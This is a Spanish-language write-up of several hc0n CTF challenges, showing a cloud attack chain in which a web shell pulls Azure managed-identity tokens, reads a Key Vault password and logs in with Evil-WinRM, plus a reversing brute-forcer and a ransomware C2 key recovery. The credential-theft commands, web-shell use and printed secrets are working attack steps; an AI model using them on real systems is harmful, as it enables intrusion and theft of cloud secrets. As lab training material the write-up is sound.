PHP_SHA256=650d3bd7a056cabf07f6a0f6f1dd8ba45cd369574bbeaa36de7d1ece212c17af
COMPUTERNAME=lw1mdlwk00003V
PHP_ORIGIN=php-fpm
SSH_PORT=2222
APPSETTING_ScmType=None
WEBSITE_AUTH_SIGNING_KEY=0792F00BD4235900C5E2F596233294E6B181B31A6826A57333DDA940679E58F2
ORYX_AI_INSTRUMENTATION_KEY=4aadba6b-30c8-42db-9b93-024d5c62b887
WEBSITE_SKU=Basic
CNB_STACK_ID=oryx.stacks.skeleton

Vemos un endpoint parecido al metadata de AWS, docs de Microsoft

https://learn.microsoft.com/en-us/azure/key-vault/general/overview https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/

Pedimos un vault token, para poder usar la API que almacena secretos.


p0wny@shell:…/site/wwwroot# curl -v -H Metadata:true --noproxy "*" -H "X-IDENTITY-HEADER:4aa4b958-00d4-446c-bde2-d79077d205b0" "http://169.254.129.2:8081/msi/token?api-version=2019-08-01&resource=https://vault.azure.net/"
{
   "access_token":"eyJ0eXAiOiJKV1Q...",
   "expires_on":"1677340534",
   "resource":"https://vault.azure.net/",
   "token_type":"Bearer",
   "client_id":"a8fe6496-a96a-46ed-974b-156dca93b895"
}

Y pedimos otro token para ver que recursos hay disponibles.


p0wny@shell:…/site/wwwroot# curl -v -H Metadata:true --noproxy "*" -H "X-IDENTITY-HEADER:4aa4b958-00d4-446c-bde2-d79077d205b0" "http://169.254.129.2:8081/msi/token?api-version=2019-08-01&resource=https://management.azure.com"
{
   "access_token":"eyJ0eXAi...",
   "expires_on":"1677334794",
   "resource":"https://management.azure.com",
   "token_type":"Bearer",
   "client_id":"a8fe6496-a96a-46ed-974b-156dca93b895"
}

curl -v https://management.azure.com/subscriptions?api-version=2020-01-01 -H "Authorization: Bearer eyJ0eXAi..."
{
   "value":[
      {
         "id":"/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380",
         "authorizationSource":"RoleBased",
         "managedByTenants":[
            
         ],
         "subscriptionId":"cc41d3d4-2369-421e-8f0b-166e4b339380",
         "tenantId":"2849624e-7448-4443-ae97-d2be38cfb32a",
         "displayName":"Azure subscription 1",
         "state":"Enabled",
         "subscriptionPolicies":{
            "locationPlacementId":"Public_2014-09-01",
            "quotaId":"FreeTrial_2014-09-01",
            "spendingLimit":"On"
         }
      }
   ],
   "count":{
      "type":"Total",
      "value":1
   }
}

curl -v https://management.azure.com/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resources?api-version=2020-01-01 -H "Authorization: Bearer eyJ0eXAi..."
{
   "value":[
      {
         "id":"/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resourceGroups/coolhacking_group/providers/Microsoft.KeyVault/vaults/keyvaultsupersecret123",
         "name":"keyvaultsupersecret123",
         "type":"Microsoft.KeyVault/vaults",
         "location":"eastus",
         "tags":{
            
         }
      },
      {
         "id":"/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resourceGroups/coolhacking_group/providers/Microsoft.KeyVault/vaults/supersecret1337",
         "name":"supersecret1337",
         "type":"Microsoft.KeyVault/vaults",
         "location":"eastus",
         "tags":{
            
         }
      }
   ]
}

curl -v https://management.azure.com/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resourceGroups/coolhacking_group/providers/Microsoft.KeyVault/vaults/supersecret1337?api-version=2019-09-01 -H "Authorization: Bearer eyJ0eXAi..."
{
   "id":"/subscriptions/cc41d3d4-2369-421e-8f0b-166e4b339380/resourceGroups/coolhacking_group/providers/Microsoft.KeyVault/vaults/keyvaultsupersecret123",
   "name":"keyvaultsupersecret123",
   "type":"Microsoft.KeyVault/vaults",
   "location":"eastus",
   "tags":{
      
   },
   "properties":{
      "sku":{
         "family":"A",
         "name":"Standard"
      },
      "tenantId":"2849624e-7448-4443-ae97-d2be38cfb32a",
      "accessPolicies":[
         {
            "tenantId":"2849624e-7448-4443-ae97-d2be38cfb32a",
            "objectId":"6922160e-4762-4ff3-9aba-d2b9bcea9af0",
            "permissions":{
               "keys":[
                  "Get",
                  "List",
                  "Update",
                  "Create",
                  "Import",
                  "Delete",
                  "Recover",
                  "Backup",
                  "Restore",
                  "GetRotationPolicy",
                  "SetRotationPolicy",
                  "Rotate"
               ],
               "secrets":[
                  "Get",
                  "List",
                  "Set",
                  "Delete",
                  "Recover",
                  "Backup",
                  "Restore"
               ],
               "certificates":[
                  "Get",
                  "List",
                  "Update",
                  "Create",
                  "Import",
                  "Delete",
                  "Recover",
                  "Backup",
                  "Restore",
                  "ManageContacts",
                  "ManageIssuers",
                  "GetIssuers",
                  "ListIssuers",
                  "SetIssuers",
                  "DeleteIssuers"
               ]
            }
         }
      ],
      "enabledForDeployment":false,
      "enabledForDiskEncryption":false,
      "enabledForTemplateDeployment":false,
      "enableSoftDelete":true,
      "softDeleteRetentionInDays":90,
      "enableRbacAuthorization":true,
      "vaultUri":"https://keyvaultsupersecret123.vault.azure.net/",
      "provisioningState":"Succeeded"
   }
}

curl -v https://keyvaultsupersecret123.vault.azure.net/secrets?api-version=7.3 -H "Authorization: Bearer eyJ0eXAi..."
{
   "value":[
      {
         "id":"https://keyvaultsupersecret123.vault.azure.net/secrets/supermegasecret",
         "attributes":{
            "enabled":true,
            "created":1676631835,
            "updated":1676631835,
            "recoveryLevel":"Recoverable+Purgeable",
            "recoverableDays":90
         },
         "tags":{
            
         }
      }
   ],
   "nextLink":null
}

curl -v https://keyvaultsupersecret123.vault.azure.net/secrets/supermegasecret?api-version=7.3 -H "Authorization: Bearer eyJ0eXAi..."
{
   "value":"local_franki:fr4nk1b3m3T4!",
   "id":"https://keyvaultsupersecret123.vault.azure.net/secrets/supermegasecret/f5352e538c684db5a879b678e031dd4e",
   "attributes":{
      "enabled":true,
      "created":1676631835,
      "updated":1676631835,
      "recoveryLevel":"Recoverable+Purgeable",
      "recoverableDays":90
   },
   "tags":{
      
   }
}

Usamos Evil-WinRM con las credenciales almacenadas encontradas en el vault.


C:\Users\Raul>docker run --rm -ti oscarakaelvis/evil-winrm -i 54.80.154.113 -u local_franki28 -p fr4nk1b3m3T4!

☺☻Evil-WinRM shell v3.4☺☻

☺☻Info: Establishing connection to remote endpoint☺☻

*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/19/2019   4:52 AM                PerfLogs
d-r---        2/21/2023   2:07 PM                Program Files
d-r---        2/25/2023   4:17 PM                Program Files (x86)
d-----        2/25/2023  11:29 AM                Temp
d-----        2/25/2023   1:05 PM                tmp
d-----        2/25/2023   4:39 PM                tmp2
d-----        2/25/2023  10:04 AM                Tools
d-r---        2/25/2023   3:48 PM                Users
d----l       12/18/2022   9:43 PM                vagrant
d-----       12/31/2022   4:56 AM                Windows
-a----        2/21/2023   1:46 PM             42 flag1.txt
-a----        2/21/2023   2:07 PM           1487 install.txt
-a----        2/25/2023   3:50 PM             74 run.txt


*Evil-WinRM* PS C:\> cat flag1.txt
hc0nCTF{4zur31sc00lm4n4g3d1d3nt1t13s4w1n}

Embuchado (Reversing)

Tenemos que encontrar un string cuya suma de caracteres sea cierto valor y la suma del XOR otro. En el binario hay varios chars hardcodeados I_X0, calculamos sumaTotal - ord(hardcoded[0]) - ord(hardcoded[1] …. -ord(hardcoded[n])) y nos da 265. Bruteforceamos los caracteres que nos faltan.

Tuve problemas con Z3 para que reconociera las condiciones del método. Hice 4 solvers de este reto en Python, todos mal, hasta que al final funcionó el más cutre de todos :D


import string
import subprocess

prefix = "I_X0"
for c1 in string.printable:
    for c2 in string.printable:
        remaining = 265 -ord(c1) - ord(c2)
        if remaining > 30:
            c3 = chr(remaining)
            arg = prefix + c1 + c2 + c3
            out = subprocess.run(['./embuchado', arg], stdout=subprocess.PIPE).stdout.decode('utf-8')
            if "Mal, Mal, espabila!" not in out:
                print(arg) # Resuelto

resultado


root@4dcc05903c32:/data# python3 solve.py
I_X0a5s
I_X0aeC
I_X0b3t
I_X0bcD
I_X0c3s
I_X0ccC
I_X0d1t
I_X0daD
I_X0e1s
I_X0eaC
I_X0n7d
I_X0n't
I_X0o7c
I_X0o's
I_X0p5d
I_X0p%t
I_X0q5c
I_X0q%s
I_X0r3d
I_X0r#t
I_X0s3c
I_X0s#s
I_X0t1d
I_X0t!t
I_X0u1c
I_X0u!s
I_X0`5t
I_X0`eD
I_X0~7T
I_X0~'d

No existe solución única, probando 1 a 1 hasta que acierto la válida.

FLAG


❯ nc 164.92.176.114 60010
Validacion de serial:
>I_X0d1t
flag--> hc0nCTF{W3ll_D0n3_c4besh0}

Reimonware (Forensics)

Host C2C en los logs: https://c2c.ramonware.com/, nmap dice abiertos 80 y 443.

Reverseando el exe con ILSpy vemos que tiene hardcodeado un powershell. Se trata de una version modificada de: https://github.com/JoelGMSec/PSRansom/, cuyo C2 esta en el mismo repositorio: https://github.com/JoelGMSec/PSRansom/blob/main/C2Server.ps1

Haciendo diff del código contra el de github vemos que han añadido un mecanismo de auth usando Authorization: Basic, y han eliminado para que no salga la pw de recuperación en los logs.

Aquí perdí mucho tiempo enumerando con gobuster el server web y buscando endpoints, hasta que vi el /C2Files en el source del C2. Con la misma cabecera auth que el ransomware, y modificando el user agent para aparentar ser powershell, con un par de peticiones recuperamos las claves

d8f86be312234b109b3da142ed637d9a.png


GET /C2Files/ HTTP/2
Host: c2c.ramonware.com
Authorization: Basic YzJjOkZVVmg1UFljYkNKNmM3S2Q=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8


HTTP/2 200 OK
Server: nginx
Date: Sat, 25 Feb 2023 11:53:39 GMT
Content-Type: text/html
Content-Length: 45
X-Accel-Version: 0.01
Last-Modified: Sat, 18 Feb 2023 09:48:53 GMT
Etag: "2d-5f4f656720dba"
Accept-Ranges: bytes
X-Powered-By: PleskLin

<h4>
	
	. <br/>
	.. <br/>
	key.txt<br/>
</h4>

GET /C2Files/key.txt HTTP/2
Host: c2c.ramonware.com
Authorization: Basic YzJjOkZVVmg1UFljYkNKNmM3S2Q=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8


HTTP/2 200 OK
Server: nginx
Date: Sat, 25 Feb 2023 11:54:32 GMT
Content-Type: text/plain
Content-Length: 75
X-Accel-Version: 0.01
Last-Modified: Sat, 18 Feb 2023 08:18:34 GMT
Etag: "4b-5f4f51377f153"
Accept-Ranges: bytes
X-Powered-By: PleskLin

Dy9A8MRkmKqafCgWhjXJLI6O
v8GkybZnqdw0YF9gWRuheCa6
sFA02ndh613owTcjKQR9X8ML

La última de las 3 con el código de Joel descifra nuestro fichero, y empieza la parte 2.

En el wireshark tenemos bruteforce de credenciales, filtramos sctp.data_b_bit && ip.src==10.8.0.1 y ordenamos por tamaño. Todas excepto una tienen tamaño 100. La contraseña que no da tamaño 100 es lamborghini, paquete 3213. Tiramos nmap a la ip que nos dan y usamos socat para enviar la password, el servidor devuelve la flag.

Conclusiones

Muchas gracias a la organización de la conferencia hc0n, y especialmente a Kaorz por la organización del CTF (@XnbEm). Todos los retos resueltos me han parecido curradísimos, me queda pendiente resolver alguno más fuera del CTF si se mantiene la infra unos días.

Autor: Raúl Martín @rmartinsanta